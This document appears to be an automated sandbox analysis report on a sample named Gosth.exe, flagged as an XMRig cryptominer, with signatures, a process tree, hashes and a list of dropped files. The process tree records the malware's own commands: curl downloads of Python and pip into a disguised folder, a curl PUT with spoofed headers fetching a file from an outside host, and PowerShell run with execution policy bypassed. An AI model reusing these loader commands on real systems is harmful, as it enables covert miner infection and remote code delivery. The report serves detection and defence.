Analysis

  • user interaction
    yes
  • max time kernel
    99s
  • max time network
    60s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    13/09/2026, 15:25

General

  • Target
    Gosth.exe
  • Size 13.1MB
  • Sample260913-styfbsyenb
  • SHA256 03d8d8b76fcc2d18e3d4db247974257e4b3c939cec76235eee02410f6c30e7fc
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 1 IoCs
  • Executes dropped EXE 6 IoCs
  • Loads dropped DLL 21 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs
  • cURL User-Agent 2 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Users\Admin\AppData\Local\Temp\Gosth.exe
    "C:\Users\Admin\AppData\Local\Temp\Gosth.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4628
    • C:\Users\Admin\AppData\Local\Temp\39490E7B\Gosth.exe
      "C:\Users\Admin\AppData\Local\Temp\39490E7B\Gosth.exe"
      2⤵
      • Executes dropped EXE
      PID:1000
    • C:\Users\Admin\AppData\Local\Temp\39490E7B\Miner.exe
      "C:\Users\Admin\AppData\Local\Temp\39490E7B\Miner.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3304
      • C:\Users\Admin\AppData\Local\Temp\76690E7B\Launcher.exe
        "C:\Users\Admin\AppData\Local\Temp\76690E7B\Launcher.exe"
        3⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Suspicious use of WriteProcessMemory
        PID:4156
        • C:\Windows\SYSTEM32\curl.exe
          "curl" "-k" "-L" "-s" "-o" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python.zip.downloading" "https://www.python.org/ftp/python/3.12.7/python-3.12.7-embed-amd64.zip"
          4⤵
            PID:712
          • C:\Windows\SYSTEM32\tar.exe
            "tar" "-xf" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python.zip" "-C" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex"
            4⤵
              PID:5076
            • C:\Windows\SYSTEM32\curl.exe
              "curl" "-k" "-L" "-s" "-o" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\get-pip.py" "https://bootstrap.pypa.io/get-pip.py"
              4⤵
                PID:2008
              • C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python.exe
                "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python.exe" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\get-pip.py"
                4⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:5052
              • C:\Windows\SYSTEM32\curl.exe
                "curl" "-k" "-s" "-X" "PUT" "-H" "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" "-H" "x-cdn-origin-verify: trusted-upstream" "-o" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\requirements.txt" "https://thisisafalsepositive.st/cdn/5ef451455923"
                4⤵
                  PID:5916
              • C:\Users\Admin\AppData\Local\Temp\76690E7B\miner.exe
                "C:\Users\Admin\AppData\Local\Temp\76690E7B\miner.exe"
                3⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:4172
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\3389.tmp\338A.tmp\338B.bat C:\Users\Admin\AppData\Local\Temp\76690E7B\miner.exe"
                  4⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:2684
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "# ==============================================================================
                    5⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:5844
            • C:\Users\Admin\AppData\Local\Temp\39490E7B\Loader.exe
              "C:\Users\Admin\AppData\Local\Temp\39490E7B\Loader.exe"
              2⤵
              • Executes dropped EXE
              • Suspicious behavior: GetForegroundWindowSpam
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of SetWindowsHookEx
              PID:1876

          Network

                MITRE ATT&CK Enterprise v16

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                Downloads

                pip.exe

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\Scripts\pip.exe
                • Size 105KB
                • SHA256 4c18665c7363a458458335905e85c3897abce2dd7f46e0c643509375bf82758a
                • MD5 SHA1 SHA512 SSDEEP TLSH

                VCRUNTIME140.dll

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\VCRUNTIME140.dll
                • Size 117KB
                • SHA256 36585912e5eaf83ba9fea0631534f690ccdc2d7ba91537166fe53e56c221e153
                • MD5 SHA1 SHA512 SSDEEP TLSH

                VCRUNTIME140_1.dll

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\VCRUNTIME140_1.dll
                • Size 48KB
                • SHA256 82a2f9ae1e6146ae3cb0f4bc5a62b7227e0384209d9b1aef86bbcc105912f7cd
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _bz2.pyd

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\_bz2.pyd
                • Size 82KB
                • SHA256 160b5218c2035cccbaab9dc4ca26d099f433dcb86dbbd96425c933dc796090df
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _ctypes.pyd

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\_ctypes.pyd
                • Size 122KB
                • SHA256 8250b4c102abd1dba49fc5b52030caa93ca34e00b86cee6547cc0a7f22326807
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _decimal.pyd

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\_decimal.pyd
                • Size 250KB
                • SHA256 b7f9603f98ef232a2c5bce7001d842c01d76ed35171afbd898e6d17facf38b56
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _hashlib.pyd

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\_hashlib.pyd
                • Size 64KB
                • SHA256 b4cec162b985d34ab768f66e8fa41ed28dc2f273fde6670eeace1d695789b137
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _lzma.pyd

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\_lzma.pyd
                • Size 154KB
                • SHA256 b095fa2eac97496b515031fbea5737988b18deee86a11f2784f5a551732ddc0c
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _queue.pyd

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\_queue.pyd
                • Size 31KB
                • SHA256 bbe7736caed8c17c97e2b156f686521a788c25f2004aae34ab0c282c24d57da7
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _socket.pyd

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\_socket.pyd
                • Size 81KB
                • SHA256 ce3090fff8575b21287df5fc69ae98806646fc302eefadf85e369ad3debad92b
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _ssl.pyd

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\_ssl.pyd
                • Size 173KB
                • SHA256 61f00b0543464bba61e0bd1128118326c9bd0cdc592854dd1a31c3d6d8df2b83
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _uuid.pyd

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\_uuid.pyd
                • Size 25KB
                • SHA256 869361adf2be930e5c8b492fa2116dc0d0edccbf2c231d39c859ce320be27b31
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _wmi.pyd

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\_wmi.pyd
                • Size 37KB
                • SHA256 b0ed1c62b73b291a1b57e3d8882cc269b2fcbb1253f2947da18d9036e0c985d9
                • MD5 SHA1 SHA512 SSDEEP TLSH

                get-pip.py

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\get-pip.py
                • Size 2.1MB
                • SHA256 fb24e693bab954209a063d90953621412ccad4a500905a726286e038f508ddf6
                • MD5 SHA1 SHA512 SSDEEP TLSH

                libcrypto-3.dll

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\libcrypto-3.dll
                • Size 5.0MB
                • SHA256 4e5d5d20d6d31e72ab341c81e97b89e514326c4c861b48638243bdf0918cfa43
                • MD5 SHA1 SHA512 SSDEEP TLSH

                libffi-8.dll

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\libffi-8.dll
                • Size 38KB
                • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
                • MD5 SHA1 SHA512 SSDEEP TLSH

                libssl-3.dll

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\libssl-3.dll
                • Size 774KB
                • SHA256 2e4d35b681a172d3298caf7dc670451be7a8ba27c26446efc67470742497a950
                • MD5 SHA1 SHA512 SSDEEP TLSH

                pyexpat.pyd

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\pyexpat.pyd
                • Size 196KB
                • SHA256 b6670d91a76e9f00609752ab19aae0b1ebe00d24d9d8d22068989bbb24d0aa44
                • MD5 SHA1 SHA512 SSDEEP TLSH

                python.exe

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python.exe
                • Size 101KB
                • SHA256 ca60cf785b2314a6d6599eced15bdf094e6db171bec996b97a70b995942c3c37
                • MD5 SHA1 SHA512 SSDEEP TLSH

                python.zip.downloading

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python.zip.downloading
                • Size 10.6MB
                • SHA256 0d57bb6cb078b74d23dbfe91f77d6780d45bed328911609f1f7ee2ba1606bf44
                • MD5 SHA1 SHA512 SSDEEP TLSH

                python3.DLL

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python3.DLL
                • Size 66KB
                • SHA256 d52baca085f88b40f30c855e6c55791e5375c80f60f94057061e77e33f4cad7a
                • MD5 SHA1 SHA512 SSDEEP TLSH

                python312._pth

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python312._pth
                • Size 79B
                • SHA256 9fe5713a8c85777f99d941d14409946124df1f322e987485ed30600f4f0afde1
                • MD5 SHA1 SHA512 TLSH

                python312.dll

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python312.dll
                • Size 6.6MB
                • SHA256 93488fa7e631cc0a2bd808b9eee8617280ee9b6ff499ab424a1a1cbf24d77dc7
                • MD5 SHA1 SHA512 SSDEEP TLSH

                python312.zip

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python312.zip
                • Size 3.6MB
                • SHA256 b321b802f5c37d2b45a5d2a79645f223143ffa778666135148871b7b8cbb7fe4
                • MD5 SHA1 SHA512 SSDEEP TLSH

                select.pyd

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\select.pyd
                • Size 30KB
                • SHA256 dca5e6d39c5094ce599143cb82f6d8470f0c2a4ce4443499e73f32ed13333fd0
                • MD5 SHA1 SHA512 SSDEEP TLSH

                unicodedata.pyd

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\unicodedata.pyd
                • Size 1.1MB
                • SHA256 64a162d6b11ba10cb11509f3cc445f17beb7acfd064f030b4d59faa1c9894b29
                • MD5 SHA1 SHA512 SSDEEP TLSH

                338B.bat

                • Path C:\Users\Admin\AppData\Local\Temp\3389.tmp\338A.tmp\338B.bat
                • Size 9KB
                • SHA256 ba601ffbc70155e8af8a05b5a34c75da97f9710399d72290dd07d76a585d103f
                • MD5 SHA1 SHA512 SSDEEP TLSH

                Gosth.exe

                • Path C:\Users\Admin\AppData\Local\Temp\39490E7B\Gosth.exe
                • Size 2.7MB
                • SHA256 554b3b9dd270b74f018c6bc7ca7f45b65ea3616bcf3d00fae7df0691e7967f11
                • MD5 SHA1 SHA512 SSDEEP TLSH

                Loader.exe

                • Path C:\Users\Admin\AppData\Local\Temp\39490E7B\Loader.exe
                • Size 19.5MB
                • SHA256 7553d49cdc2387acb96a808a2aefaf22f59ab4528e0a7b36d5c13d07b6d91ff2
                • MD5 SHA1 SHA512 SSDEEP TLSH

                Miner.exe

                • Path C:\Users\Admin\AppData\Local\Temp\39490E7B\Miner.exe
                • Size 332KB
                • SHA256 bb31c0dec2288452fb3026e9b94a96d3f6f27d933a481cb7c2c371ead7a79dbb
                • MD5 SHA1 SHA512 SSDEEP TLSH

                Launcher.exe

                • Path C:\Users\Admin\AppData\Local\Temp\76690E7B\Launcher.exe
                • Size 1.1MB
                • SHA256 a14a3fa38358fa0a6d09dc48d8d0957827b92adcb11f220d73e262777d8f414a
                • MD5 SHA1 SHA512 SSDEEP TLSH

                miner.exe

                • Path C:\Users\Admin\AppData\Local\Temp\76690E7B\miner.exe
                • Size 98KB
                • SHA256 1e016fa4754ff0e4c7d71dc6264b3565a5e20bd5421f92788621d53cdf9b3b32
                • MD5 SHA1 SHA512 SSDEEP TLSH

                pip-26.2.1-py3-none-any.whl.metadata

                • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-fx8no_cb\pip-26.2.1-py3-none-any.whl.metadata
                • Size 4KB
                • SHA256 3a561005822841f2c45f442f6c7a7505172c8c376c9fe274d876c8ac912968cb
                • MD5 SHA1 SHA512 SSDEEP TLSH

                cacert.pem

                • Path C:\Users\Admin\AppData\Local\Temp\tmpfzlhtq82\cacert.pem
                • Size 228KB
                • SHA256 bbc7e9c01d7551bb8a159b5dedd989b8ee3ce105aff522b68eb1b01bf854cab0
                • MD5 SHA1 SHA512 SSDEEP TLSH

                pip.zip

                • Path C:\Users\Admin\AppData\Local\Temp\tmpfzlhtq82\pip.zip
                • Size 1.7MB
                • SHA256 f366a37ec5340337af123d2aabf80659fc69cab14f8784ad1cd7ab1e2e83bd27
                • MD5 SHA1 SHA512 SSDEEP TLSH

                memory/4172-17-0x0000000000417000-0x0000000000418000-memory.dmp

                memory/5844-22-0x000001B547520000-0x000001B547542000-memory.dmp